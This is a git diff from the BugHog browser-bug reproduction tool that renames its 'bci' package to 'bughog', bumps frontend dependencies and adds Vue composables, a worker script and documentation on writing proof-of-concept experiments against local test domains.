"engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, "node_modules/to-regex-range": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", @@ -2469,9 +2164,9 @@ "license": "Apache-2.0" }, "node_modules/update-browserslist-db": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.1.3.tgz", - "integrity": "sha512-UxhIZQ+QInVdunkDAaiazvvT/+fXL5Osr0JZlJulepYu6Jd7qJtDZjlur0emRlT71EN3ScPoE7gvsuIKKNavKw==", + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz", + "integrity": "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==", "dev": true, "funding": [ { @@ -2563,16 +2258,16 @@ } }, "node_modules/vue": { - "version": "3.5.13", - "resolved": "https://registry.npmjs.org/vue/-/vue-3.5.13.tgz", - "integrity": "sha512-wmeiSMxkZCSc+PM2w2VRsOYAZC8GdipNFRTsLSfodVqI9mbejKeXEGr8SckuLnrQPGe3oJN5c3K0vpoU9q/wCQ==", + "version": "3.5.27", + "resolved": "https://registry.npmjs.org/vue/-/vue-3.5.27.tgz", + "integrity": "sha512-aJ/UtoEyFySPBGarREmN4z6qNKpbEguYHMmXSiOGk69czc+zhs0NF6tEFrY8TZKAl8N/LYAkd4JHVd5E/AsSmw==", "license": "MIT", "dependencies": { - "@vue/compiler-dom": "3.5.13", - "@vue/compiler-sfc": "3.5.13", - "@vue/runtime-dom": "3.5.13", - "@vue/server-renderer": "3.5.13", - "@vue/shared": "3.5.13" + "@vue/compiler-dom": "3.5.27", + "@vue/compiler-sfc": "3.5.27", + "@vue/runtime-dom": "3.5.27", + "@vue/server-renderer": "3.5.27", + "@vue/shared": "3.5.27" }, "peerDependencies": { "typescript": "*" @@ -2593,131 +2288,22 @@ "npm": ">= 3.0.0" } }, - "node_modules/which": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", - "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", - "dev": true, - "license": "ISC", - "dependencies": { - "isexe": "^2.0.0" - }, - "bin": { - "node-which": "bin/node-which" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/wrap-ansi": { - "version": "8.1.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz", - "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-styles": "^6.1.0", - "string-width": "^5.0.1", - "strip-ansi": "^7.0.1" - }, - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/chalk/wrap-ansi?sponsor=1" - } - }, - "node_modules/wrap-ansi-cjs": { - "name": "wrap-ansi", - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", - "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", - "dev": true, + "node_modules/vue3-toastify": { + "version": "0.2.8", + "resolved": "https://registry.npmjs.org/vue3-toastify/-/vue3-toastify-0.2.8.tgz", + "integrity": "sha512-8jDOqsJaBZEbGpCbhWDETJc11D1lZefvgFPq/IPdM+U7+qyXoVPDvK6uq/FIgyV7qV0NcNzvGBMEzjsLQqGROw==", "license": "MIT", - "dependencies": { - "ansi-styles": "^4.0.0", - "string-width": "^4.1.0", - "strip-ansi": "^6.0.0" - }, "engines": { - "node": ">=10" + "node": ">=20", + "npm": ">=9.0.0" }, - "funding": { - "url": "https://github.com/chalk/wrap-ansi?sponsor=1" - } - }, - "node_modules/wrap-ansi-cjs/node_modules/ansi-regex": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/wrap-ansi-cjs/node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "license": "MIT", - "dependencies": { - "color-convert": "^2.0.1" - }, - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" - } - }, - "node_modules/wrap-ansi-cjs/node_modules/emoji-regex": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", - "dev": true, - "license": "MIT" - }, - "node_modules/wrap-ansi-cjs/node_modules/string-width": { - "version": "4.2.3", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", - "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", - "dev": true, - "license": "MIT", - "dependencies": { - "emoji-regex": "^8.0.0", - "is-fullwidth-code-point": "^3.0.0", - "strip-ansi": "^6.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/wrap-ansi-cjs/node_modules/strip-ansi": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", - "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-regex": "^5.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/yaml": { - "version": "2.7.1", - "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.7.1.tgz", - "integrity": "sha512-10ULxpnOCQXxJvBgxsn9ptjq6uviG/htZKk9veJGhlqn3w/DxQ631zFF+nlQXLwmImeS5amR2dl2U8sg6U9jsQ==", - "dev": true, - "license": "ISC", - "bin": { - "yaml": "bin.mjs" + "peerDependencies": { + "vue": ">=3.2.0" }, - "engines": { - "node": ">= 14" + "peerDependenciesMeta": { + "vue": { + "optional": true + } } } } diff --git a/bci/web/vue/package.json b/bughog/web/vue/package.json similarity index 50% rename from bci/web/vue/package.json rename to bughog/web/vue/package.json index 85e4cac5..6ae3ab9e 100644 --- a/bci/web/vue/package.json +++ b/bughog/web/vue/package.json @@ -10,18 +10,20 @@ }, "dependencies": { "@vueform/slider": "^2.1.10", - "ace-builds": "^1.34.2", - "axios": "^1.7.4", - "flowbite": "^1.6.5", + "@vueuse/core": "^13.9.0", + "ace-builds": "^1.43.4", + "axios": "^1.12.2", + "flowbite": "^1.8.1", "oh-vue-icons": "^1.0.0-rc3", "vue": "^3.2.47", - "vue-multiselect": "^2.1.7" + "vue-multiselect": "^2.1.9", + "vue3-toastify": "^0.2.8" }, "devDependencies": { - "@vitejs/plugin-vue": "^4.1.0", - "autoprefixer": "^10.4.14", - "postcss": "^8.4.23", - "tailwindcss": "^3.3.2", - "vite": "^4.5.5" + "@vitejs/plugin-vue": "^4.6.2", + "autoprefixer": "^10.4.21", + "postcss": "^8.5.6", + "tailwindcss": "^3.4.18", + "vite": "^4.5.14" } } diff --git a/bci/web/vue/postcss.config.js b/bughog/web/vue/postcss.config.js similarity index 100% rename from bci/web/vue/postcss.config.js rename to bughog/web/vue/postcss.config.js diff --git a/bci/web/vue/public/.gitkeep b/bughog/web/vue/public/.gitkeep similarity index 100% rename from bci/web/vue/public/.gitkeep rename to bughog/web/vue/public/.gitkeep diff --git a/bci/web/vue/src/App.vue b/bughog/web/vue/src/App.vue similarity index 58% rename from bci/web/vue/src/App.vue rename to bughog/web/vue/src/App.vue index 21507e40..1d9e812e 100644 --- a/bci/web/vue/src/App.vue +++ b/bughog/web/vue/src/App.vue @@ -1,13 +1,20 @@ - - + + diff --git a/bci/web/vue/src/components/section-header.vue b/bughog/web/vue/src/components/section-header.vue similarity index 78% rename from bci/web/vue/src/components/section-header.vue rename to bughog/web/vue/src/components/section-header.vue index 1740b38a..b8167e88 100644 --- a/bci/web/vue/src/components/section-header.vue +++ b/bughog/web/vue/src/components/section-header.vue @@ -3,26 +3,26 @@ data() { return { sections: { - "automation": { - "title": "Browser automation", - "tooltip": "Choose the method for instructing browser binaries. Currently, only command line instructions are supported." + // "automation": { + // "title": "Browser automation", + // "tooltip": "Choose the method for instructing browser executable. Currently, only command line instructions are supported." + // }, + "subject_config": { + "title": "Subject configuration", + "tooltip": "Specify custom settings, installed extensions and CLI flags that will be applied to all evaluated executable. Please note that these settings depend on the selected subject." }, - "browser_config": { - "title": "Browser configuration", - "tooltip": "Specify custom browser settings, installed extensions and CLI flags that will be applied to all evaluated binaries. Please note that these settings depend on the selected browser." - }, - "browser_rev_range": { - "title": "Browser revision range", - "tooltip": "Define a binary range based on revision numbers. The browser version range defined above will be disregarded if this option is used." + "subject_rev_range": { + "title": "Subject commit range", + "tooltip": "Define a binary range based on revision numbers. The subject release range defined above will be disregarded if this option is used." }, "db_collection": { "title": "Database collection", - "tooltip": "The evaluation results will be stored in the specified MongoDB database collection. The prefix for the collection name is fixed and is determined based on the selected project and browser. Additionally, you can choose a custom suffix for the collection name. The prefix and suffix will be appended with an underscore to form the final collection name." + "tooltip": "The evaluation results will be stored in the specified MongoDB database collection. The prefix for the collection name is fixed and is determined based on the selected project and subject. Additionally, you can choose a custom suffix for the collection name. The prefix and suffix will be appended with an underscore to form the final collection name." }, "eval_range": { - "title": "Browser version range", + "title": "Subject release range", "tooltip": - "Specify which binaries you want to evaluate by selecting the browser and its version range. Enabling deep search extends the evaluation to include all available revision binaries, offering a more comprehensive analysis." + "Specify which binaries you want to evaluate by selecting the subject and its version range. Enabling deep search extends the evaluation to include all available revision binaries, offering a more comprehensive analysis." }, "eval_settings": { "title": "Evaluation settings", @@ -42,7 +42,7 @@ }, "results": { "title": "Results", - "tooltip": "Choose an experiment from the dropdown menu to visualize its results in the Gantt chart below. Squares represent (approximate) release binaries, while dots represent revision binaries. Clicking on a dot will open the web page for the associated revision in the public browser repository. Holding shift while clicking on any dot or square will delete the particular result." + "tooltip": "Choose an experiment from the dropdown menu to visualize its results in the Gantt chart below. Squares represent (approximate) release binaries, while dots represent revision binaries. Clicking on a dot will open the web page for the associated revision in the public subject repository. Holding shift while clicking on any dot or square will delete the particular result." }, "search_strategy": { "title": "Search strategy", diff --git a/bci/web/vue/src/components/tooltip.vue b/bughog/web/vue/src/components/tooltip.vue similarity index 100% rename from bci/web/vue/src/components/tooltip.vue rename to bughog/web/vue/src/components/tooltip.vue diff --git a/bughog/web/vue/src/composables/useDarkMode.js b/bughog/web/vue/src/composables/useDarkMode.js new file mode 100644 index 00000000..59e0ef4f --- /dev/null +++ b/bughog/web/vue/src/composables/useDarkMode.js @@ -0,0 +1,15 @@ +import { ref, watchEffect } from 'vue' + +const darkMode = ref( + localStorage.theme === 'dark' || + (!('theme' in localStorage) && window.matchMedia('(prefers-color-scheme: dark)').matches) +) + +watchEffect(() => { + document.documentElement.classList.toggle('dark', darkMode.value) + localStorage.theme = darkMode.value ? 'dark' : 'light' +}) + +export function useDarkMode() { + return { darkMode } +} diff --git a/bughog/web/vue/src/composables/useEvalParams.js b/bughog/web/vue/src/composables/useEvalParams.js new file mode 100644 index 00000000..b6c0b661 --- /dev/null +++ b/bughog/web/vue/src/composables/useEvalParams.js @@ -0,0 +1,140 @@ +import { reactive, watch } from 'vue'; + +const persisted_general_params = [ + 'nb_of_containers', + 'only_release_commits', + 'sequence_limit', +]; + +const persisted_subject_type_specific_params = [ + 'project_name', + 'subject_name', +]; + +const DEFAULT_EVAL_PARAMS = { + subject_type: null, + subject_name: null, + project_name: null, + subject_setting: 'default', + cli_options: [], + extensions: [], + experiments: [], + version_range: [-1, -1], + lower_commit_nb: null, + upper_commit_nb: null, + only_release_commits: true, + nb_of_containers: null, + sequence_limit: 50, + target_mech_id: null, + search_strategy: 'comp_search', + experiment_to_plot: null, +}; + +function getFromLocalStorage(param_name) { + var param_value = localStorage.getItem(param_name); + // LocalStorage only stores strings, so we will convert stringified booleans to actual booleans. + if (param_value === 'true') { + return true; + } else if (param_value === 'false') { + return false; + } + return param_value; +} + +function loadPersistedParams() { + var loaded_eval_params = {}; + + // Load general params. + let param_value; + for (const param_name of persisted_general_params) { + if (process.env.NODE_ENV === "development") { + param_value = getFromLocalStorage(`dev_${param_name}`); + } else { + param_value = getFromLocalStorage(param_name) + } + if (param_value !== null) { + loaded_eval_params[param_name] = param_value; + } + } + + // Load subject type specific params. + const selected_subject_type = localStorage.getItem('selected_subject_type'); + if (selected_subject_type === null) { + console.debug(`No selected subject type.`); + return { ...DEFAULT_EVAL_PARAMS, ...loaded_eval_params }; + } + + const stored_eval_params_raw = localStorage.getItem(`eval_params_${selected_subject_type}`); + if (stored_eval_params_raw === null) { + console.debug(`No eval params stored for ${selected_subject_type}.`) + return { ...DEFAULT_EVAL_PARAMS, 'subject_type': selected_subject_type, ...loaded_eval_params }; + } + + const stored_eval_params = JSON.parse(stored_eval_params_raw); + console.debug(`Loading eval params for ${selected_subject_type}.`) + return { ...DEFAULT_EVAL_PARAMS, ...stored_eval_params, 'subject_type': selected_subject_type, ...loaded_eval_params }; +} + +export function useEvalParams() { + var evalParams = reactive(loadPersistedParams()); + + watch(evalParams, (new_params) => { + // Store general params. + for (const param_name of persisted_general_params) { + if (localStorage.getItem(param_name) !== new_params[param_name]) { + if (process.env.NODE_ENV === "development") { + localStorage.setItem(`dev_${param_name}`, new_params[param_name]); + } else { + localStorage.setItem(param_name, new_params[param_name]); + } + } + } + + // Store subject type specific params. + const old_selected_subject_type = localStorage.getItem('selected_subject_type'); + var old_params = localStorage.getItem(`eval_params_${new_params.subject_type}`); + + if (new_params.subject_type === null) { + return; + } else if (old_params === null) { + const default_params = Object.fromEntries( + Object.entries(DEFAULT_EVAL_PARAMS).filter(([key]) => persisted_subject_type_specific_params.includes(key)) + ); + Object.assign(evalParams, default_params); + localStorage.setItem(`eval_params_${new_params.subject_type}`, JSON.stringify(default_params)) + } else { + old_params = JSON.parse(old_params); + } + + if (new_params.subject_type !== old_selected_subject_type) { + console.log(`Updating stored selected subject type from ${old_selected_subject_type} to ${new_params.subject_type}.`); + localStorage.setItem('selected_subject_type', new_params.subject_type); + if (old_params !== null) { + persisted_subject_type_specific_params.forEach(key => { + evalParams[key] = old_params[key]; + }); + } + } else { + var params_to_store = {} + persisted_subject_type_specific_params.forEach(key => { + if (new_params[key] !== old_params[key]) { + console.log(`Updating stored ${key} from ${old_params[key]} to ${new_params[key]}`); + } + params_to_store[key] = new_params[key]; + }); + localStorage.setItem(`eval_params_${new_params.subject_type}`, JSON.stringify(params_to_store)); + } + }, { deep: true }); + + function resetEvalParams() { + Object.assign(evalParams, { ...DEFAULT_EVAL_PARAMS }) + localStorage.removeItem('eval_params_persisted') + } + + console.log("Eval params has been initialized.") + + return { + evalParams, + resetEvalParams, + } +} diff --git a/bughog/web/vue/src/composables/useSubjectAvailability.js b/bughog/web/vue/src/composables/useSubjectAvailability.js new file mode 100644 index 00000000..b3963917 --- /dev/null +++ b/bughog/web/vue/src/composables/useSubjectAvailability.js @@ -0,0 +1,74 @@ +import axios from 'axios'; +import { ref } from 'vue'; + +export function useSubjectAvailability(post_init_callback) { + + const subject_availability_dict = ref([]); + + const subject_availability = { + fetch_subject_availability() { + const path = `/api/subject/`; + axios.get(path) + .then((res) => { + if (res.data.status == "OK") { + subject_availability_dict.value = res.data.subject_availability; + if (post_init_callback === undefined || post_init_callback === null) { + console.warn("useSubjectAvailability did not receive a post_init_callback function.") + } else { + post_init_callback(); + } + } + }) + .catch((error) => { + console.error(error); + }); + }, + + is_empty() { + return subject_availability_dict.value.length === 0; + }, + + get_available_subject_types() { + return subject_availability_dict.value.map(entry => entry.subject_type).sort(); + }, + + get_available_subjects_for_type(subject_type) { + if (subject_availability_dict.value.length == 0 || subject_type === null) { + return []; + } else { + const result = subject_availability_dict.value.find(type_entry => type_entry.subject_type === subject_type); + return result === undefined ? [] : result.subjects; + } + }, + + get_available_subject_names_for_type(subject_type) { + const subjects = this.get_available_subjects_for_type(subject_type); + return subjects.map(subject => subject.name); + }, + + get_subject_by_name(subject_type, subject_name) { + if (this.is_empty() || subject_type === null || subject_name === null) { + return null; + } else { + const subject = this.get_available_subjects_for_type(subject_type).find(subject => subject.name === subject_name); + return subject === undefined ? null : subject; + } + }, + + get_subject_version_range(subject_type, subject_name) { + if (this.is_empty() || subject_type === null || subject_name === null) { + return [-1, -1]; + } else { + const subject = this.get_subject_by_name(subject_type, subject_name); + return subject === null ? [-1, -1] : [subject.min_version, subject.max_version]; + } + } + } + + subject_availability.fetch_subject_availability(); + console.log("Subject availability has been initialized.") + + return { + subject_availability, + } +} diff --git a/bci/web/vue/src/interaction_script_mode.js b/bughog/web/vue/src/interaction_script_mode.js similarity index 94% rename from bci/web/vue/src/interaction_script_mode.js rename to bughog/web/vue/src/interaction_script_mode.js index eb2bd490..329f82d7 100644 --- a/bci/web/vue/src/interaction_script_mode.js +++ b/bughog/web/vue/src/interaction_script_mode.js @@ -1,4 +1,4 @@ -const KEYWORDS = "NAVIGATE|NEW_TAB|CLICK_POSITION|CLICK|WRITE|PRESS|HOLD|RELEASE|HOTKEY|SLEEP|SCREENSHOT|REPORT_LEAK|ASSERT_FILE_CONTAINS|OPEN_FILE|OPEN_CONSOLE"; +const KEYWORDS = "NAVIGATE|NEW_TAB|CLICK_POSITION|CLICK|WRITE|PRESS|HOLD|RELEASE|HOTKEY|SLEEP|SCREENSHOT|ASSERT_FILE_CONTAINS|OPEN_FILE|OPEN_CONSOLE"; ace.define("ace/mode/interaction_script_highlight_rules",["require","exports","module","ace/lib/oop","ace/mode/text_highlight_rules"], function(require, exports, module){"use strict"; const oop = require("../lib/oop"); @@ -44,4 +44,4 @@ const getMode = () => new Promise((resolve) => ace.require(["ace/mode/interactio export { getMode, -}; \ No newline at end of file +}; diff --git a/bci/web/vue/src/main.js b/bughog/web/vue/src/main.js similarity index 72% rename from bci/web/vue/src/main.js rename to bughog/web/vue/src/main.js index 121570e3..32e46650 100644 --- a/bci/web/vue/src/main.js +++ b/bughog/web/vue/src/main.js @@ -3,10 +3,13 @@ import './style.css' import App from './App.vue' import 'flowbite' import 'axios' +import Vue3Toastify from 'vue3-toastify'; +import 'vue3-toastify/dist/index.css'; import { OhVueIcon, addIcons } from "oh-vue-icons"; import { MdInfooutline, FaRegularEdit, FaLink, FaPlus } from "oh-vue-icons/icons"; addIcons(MdInfooutline, FaRegularEdit, FaLink, FaPlus); const app = createApp(App); +app.use(Vue3Toastify, {autoclose: 5000, position: 'top-right'}); app.component("v-icon", OhVueIcon).mount('#app') diff --git a/bci/web/vue/src/style.css b/bughog/web/vue/src/style.css similarity index 98% rename from bci/web/vue/src/style.css rename to bughog/web/vue/src/style.css index c52649c6..229b9922 100644 --- a/bci/web/vue/src/style.css +++ b/bughog/web/vue/src/style.css @@ -111,7 +111,7 @@ label { } .input-box { - @apply dark:bg-dark-4 + @apply text-gray-900 dark:text-gray-300 dark:bg-dark-4 } .tooltip { diff --git a/bci/web/vue/tailwind.config.js b/bughog/web/vue/tailwind.config.js similarity index 100% rename from bci/web/vue/tailwind.config.js rename to bughog/web/vue/tailwind.config.js diff --git a/bci/web/vue/vite.config.js b/bughog/web/vue/vite.config.js similarity index 64% rename from bci/web/vue/vite.config.js rename to bughog/web/vue/vite.config.js index f032df92..ce67aad5 100644 --- a/bci/web/vue/vite.config.js +++ b/bughog/web/vue/vite.config.js @@ -8,6 +8,11 @@ export default defineConfig({ exclude: ['oh-vue-icons/icons'] }, server: { - allowedHosts: ['bughog.io'] + host: '0.0.0.0', + port: 5173, + strictPort: true, + https: false, + cors: false, + allowedHosts: ['bughog.io'], } }) diff --git a/bughog/worker.py b/bughog/worker.py new file mode 100644 index 00000000..f9a7edf7 --- /dev/null +++ b/bughog/worker.py @@ -0,0 +1,55 @@ +import logging +import os +import sys + +from bughog.configuration import Loggers +from bughog.database.mongo.mongodb import MongoDB +from bughog.evaluation.evaluation import Evaluation +from bughog.exceptions import SystemError, UserError +from bughog.parameters import EvaluationParameters +from bughog.version_control.state.base import State + +# This logger argument is set explicitly so when this file is ran as a script, it will still use the logger configuration +logger = logging.getLogger('bughog.worker') + + +def __run_by_worker() -> None: + """ + Executes evaluation based on given parameters. + Should only be called by worker. + """ + Loggers.configure_loggers() + if len(sys.argv) < 3: + logger.info('Worker did not receive enough arguments.') + os._exit(0) + + params = EvaluationParameters.deserialize(sys.argv[1]) + state = State.deserialize(sys.argv[2]) + + MongoDB().connect(params.database_params) + + logger.info('Worker started') + run(params, state) + logger.info('Worker finished, exiting...') + + logging.shutdown() + os._exit(0) + + +def run(params: EvaluationParameters, state: State): + """ + Executes evaluation based on given parameters. + """ + evaluation = Evaluation(params.subject_configuration.subject_type) + try: + evaluation.evaluate(params, state, is_worker=True) + except (UserError, SystemError) as e: + raise e + except Exception: + logger.fatal('An exception occurred during evaluation', exc_info=True) + logging.shutdown() + os._exit(1) + + +if __name__ == '__main__': + __run_by_worker() diff --git a/config/.env.example b/config/.env.example old mode 100644 new mode 100755 index 680bbbba..541af5f7 --- a/config/.env.example +++ b/config/.env.example @@ -1,11 +1,18 @@ # Copy this file to config/.env en change it there if you would like to change your configuration. +# GitHub API token (only requires access to public repositories) +# Used for looking up commit numbers, commit ids and release tags. +GITHUB_TOKEN= + +# BugHog service domain name for commit number <-> commit id conversion and executable search. +BUGHOG_SERVICE_API= + # Cache parameters # All binaries will be cached in the active MongoDB (either a local Docker container, or the one configured below). -BCI_BINARY_CACHE_LIMIT= +BUGHOG_EXECUTABLE_CACHE_LIMIT= # Database parameters -BCI_MONGO_HOST= -BCI_MONGO_USERNAME= -BCI_MONGO_DATABASE= -BCI_MONGO_PASSWORD= +BUGHOG_MONGO_HOST= +BUGHOG_MONGO_USERNAME= +BUGHOG_MONGO_DATABASE= +BUGHOG_MONGO_PASSWORD= diff --git a/docker-compose.yml b/docker-compose.yml index f3457e2c..578856b1 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -24,14 +24,12 @@ services: - BUGHOG_VERSION=${BUGHOG_VERSION} volumes: - ./config:/app/config:ro - - ./browser/binaries/chromium/artisanal:/app/browser/binaries/chromium/artisanal:rw - - ./browser/binaries/firefox/artisanal:/app/browser/binaries/firefox/artisanal:rw - - ./experiments:/app/experiments:rw - - ./browser/extensions:/app/browser/extensions:ro + - ./subject:/app/subject:rw - ./logs:/app/logs:rw - ./nginx/ssl/:/etc/nginx/ssl/:rw - /var/run/docker.sock:/var/run/docker.sock:rw - - /dev/shm:/dev/shm:rw + tmpfs: + /memory:exec,size=3g,mode=1777 profiles: - never_start @@ -44,9 +42,6 @@ services: hostname: bh_core ports: - "5000:5000" - build: - context: . - target: dev image: bh_core_dev environment: - "DEVELOPMENT=1" @@ -98,8 +93,8 @@ services: restart: always volumes: - ./nginx/ssl/:/etc/nginx/ssl/:ro - - ./experiments/pages/:/www/data/pages/:ro - - ./experiments/res/:/www/data/res/:ro + - ./subject/web_browser/experiments/:/www/data/poc/:ro + - ./subject/web_browser/resources/:/www/data/res/:ro - ./logs/:/logs/:rw - ./logs/screenshots/:/www/data/screenshots/:ro ports: @@ -113,6 +108,7 @@ services: - sub.a.test - sub.sub.a.test - b.test + - sub.b.test - adition.com profiles: - prod @@ -138,11 +134,11 @@ services: aliases: - node volumes: - - ./bci/web/vue/public:/app/public:rw - - ./bci/web/vue/src:/app/src:rw - - ./bci/web/vue/postcss.config.js:/app/postcss.config.js:rw - - ./bci/web/vue/tailwind.config.js:/app/tailwind.config.js:rw - - ./bci/web/vue/vite.config.js:/app/vite.config.js:rw + - ./bughog/web/vue/public:/app/public:rw + - ./bughog/web/vue/src:/app/src:rw + - ./bughog/web/vue/postcss.config.js:/app/postcss.config.js:rw + - ./bughog/web/vue/tailwind.config.js:/app/tailwind.config.js:rw + - ./bughog/web/vue/vite.config.js:/app/vite.config.js:rw command: ["npm", "run", "dev", "--", "--host"] profiles: - dev diff --git a/docs/experiments/README.md b/docs/experiments/README.md new file mode 100644 index 00000000..5f303063 --- /dev/null +++ b/docs/experiments/README.md @@ -0,0 +1,17 @@ +# Proofs of Concept / Experiments + +You can easily add new proofs of concept or experiments directly through BugHog’s UI. + +Additional documentation in this folder explains the available experiment options and the parameters you can define in your experiment files. + +If you want to import a larger collection of existing experiments, you can simply copy or clone them into the directory: +``` +./subject//experiments// +``` + +After adding new experiments, restart BugHog to load them. + +For example, to import the [CSP PoC repository](https://github.com/DistriNet/bughog-csp-pocs) for web browsers, run: +```bash +git clone https://github.com/DistriNet/bughog-csp-pocs.git ./subject/web_browser/experiments/csp/ +``` diff --git a/docs/experiments/web_browser.md b/docs/experiments/web_browser.md new file mode 100644 index 00000000..0ea508e0 --- /dev/null +++ b/docs/experiments/web_browser.md @@ -0,0 +1,64 @@ +# Web browser experiments + +## Supported file types + +The experiment server can technically serve virtually any file, but the following types are officially supported: + +- `.html` +- `.css` +- `.js` +- `.xml` +- `.py` + + +## Available domain names + +The following domain names are available for use in PoCs: +- `a.test` +- `sub.a.test` +- `sub.sub.a.test` +- `b.test` +- `sub.b.test` +- `leak.test` + + +## Available file parameters + +Special parameters can be defined at the top of a file (placing them after the DOCTYPE declaration is allowed). +They must be included within comments. + +Parameter comments must be written one line at a time. +Only single-line comments are supported for JavaScript files. + +| **Parameter** | **Description** | **Default** | +|-|-|-| +| `Status` | HTTP response status code returned by the server. | `200` | +| `header_name`: `header_value` | Adds a custom HTTP header to the response. | / | +| `bughog_domain` | Domain from which the file should be served. If no `script.md` exists, the browser will navigate to `index.html` in the PoC root using this domain. | `a.test` | + + +### Example + +The following example defines an `index.html` file that returns a 302 redirect to `https://leak.test`, and will be visited at the domain `b.test`. + +```html + + + + + + + + + You should have been redirected. + + +``` + +The following `script.js` file will be served with status code `202` and a Referrer-Policy header. + +```js +// Status: 202 +// Referrer-Policy: no-referrer +fetch("https://sub.a.test"); +``` diff --git a/experiments/README.md b/experiments/README.md deleted file mode 100644 index 4425a095..00000000 --- a/experiments/README.md +++ /dev/null @@ -1,127 +0,0 @@ -# Adding Your Own Experiments - -Follow the guidelines below to integrate your own experiments into BugHog. -Examples can be found in the [experiments](/experiments/) folder. - - -## File structure - -Experiments are organized within the experiments folder. The general file structure is as follows: - -``` -experiments -|-- pages -| |-- [project 1] -| | |-- [experiment 1] -| | |-- [experiment 2] -| | |-- ... -| |-- [project 2] -| |-- ... -|-- res -``` - -- Experiments are grouped within projects inside the `pages` folder, representing sets of related experiments. - -- The `res` folder is intended to host resources that are used by multiple experiments and/or projects (e.g., scripts, images, videos) -Every resource is hosted on all supported domains. - - -## Experiments - -Within each experiment folder, the following structure is maintained: - -``` -[experiment 1] -|-- [domain 1] - |-- [page 1] - | |-- headers.json - | |-- index.html - |-- [page 2] - | |-- headers.json - | |-- index.js - |-- ... -|-- [domain 2] -|-- ... -|-- url_queue.txt -``` - -### Domains - -> Each experiment must define **at least one domain**. - -Supported domain names include: -- `leak.test` -- `a.test` -- `sub.a.test` -- `sub.sub.a.test` -- `b.test` -- `sub.b.test` -- `adition.com` (tracking domain) - -> :bulb: If you need support for other domain names, feel free to open a GitHub issue! - - -### Webpages - -> Each domain must define **at least one webpage**. - -A webpage is defined by an index file, which is the resource loaded when the page's URL is visited. -Supported file extensions include `index.html` and `index.js`. -The webpage's URL is constructed as follows: - -``` -https://[domain]/[project]/[experiment]/[page] -``` - - -For example, the file at `experiments/pages/templates/example/a.test/main/index.html` would be accessible through the URL `https://a.test/templates/example/main`. - -Response headers for each webpage can be specified by creating a `headers.json` file in the following format: - -```json -[ - { - "key": "Header name", - "value": "Header value" - } -] -``` - -Note that `headers.json` files cannot be empty. -They may, however, contain an empty list. - - -### URL queue - -> Each experiment should define **exactly one URL queue** unless your experiment is satisfied with BugHog's default visitation (see below). - -The `url_queue.txt` file contains an ordered list of URLs, separated by newlines, which instructs the browser on the sequence of pages to visit during the experiment. -If this file is absent, BugHog will instruct the browser to visit the experiment's page indicated as `main` and then proceed to visit https://a.test/report/?bughog_sanity_check=OK as a sanity check to confirm the browser's initiation. - - -### Outcome reporting - -Experiments can report their outcome by sending a request to `https://[domain]/report/?bughog_reproduced=OK`, where `[domain]` can be any supported domain. -This outcome data is also transmitted to the BugHog core application and subsequently stored in the database. - - -#### Sanity Check - -Including a URL in the URL queue that serves as a sanity check is recommended (i.e., https://a.test/report/?bughog_sanity_check=OK). -This URL is typically used to verify the integrity of the experiment. -For instance, if an issue occurs during browser automation, such as the browser not starting, this URL will remain unvisited. -Detecting unvisited sanity check URLs can help identify 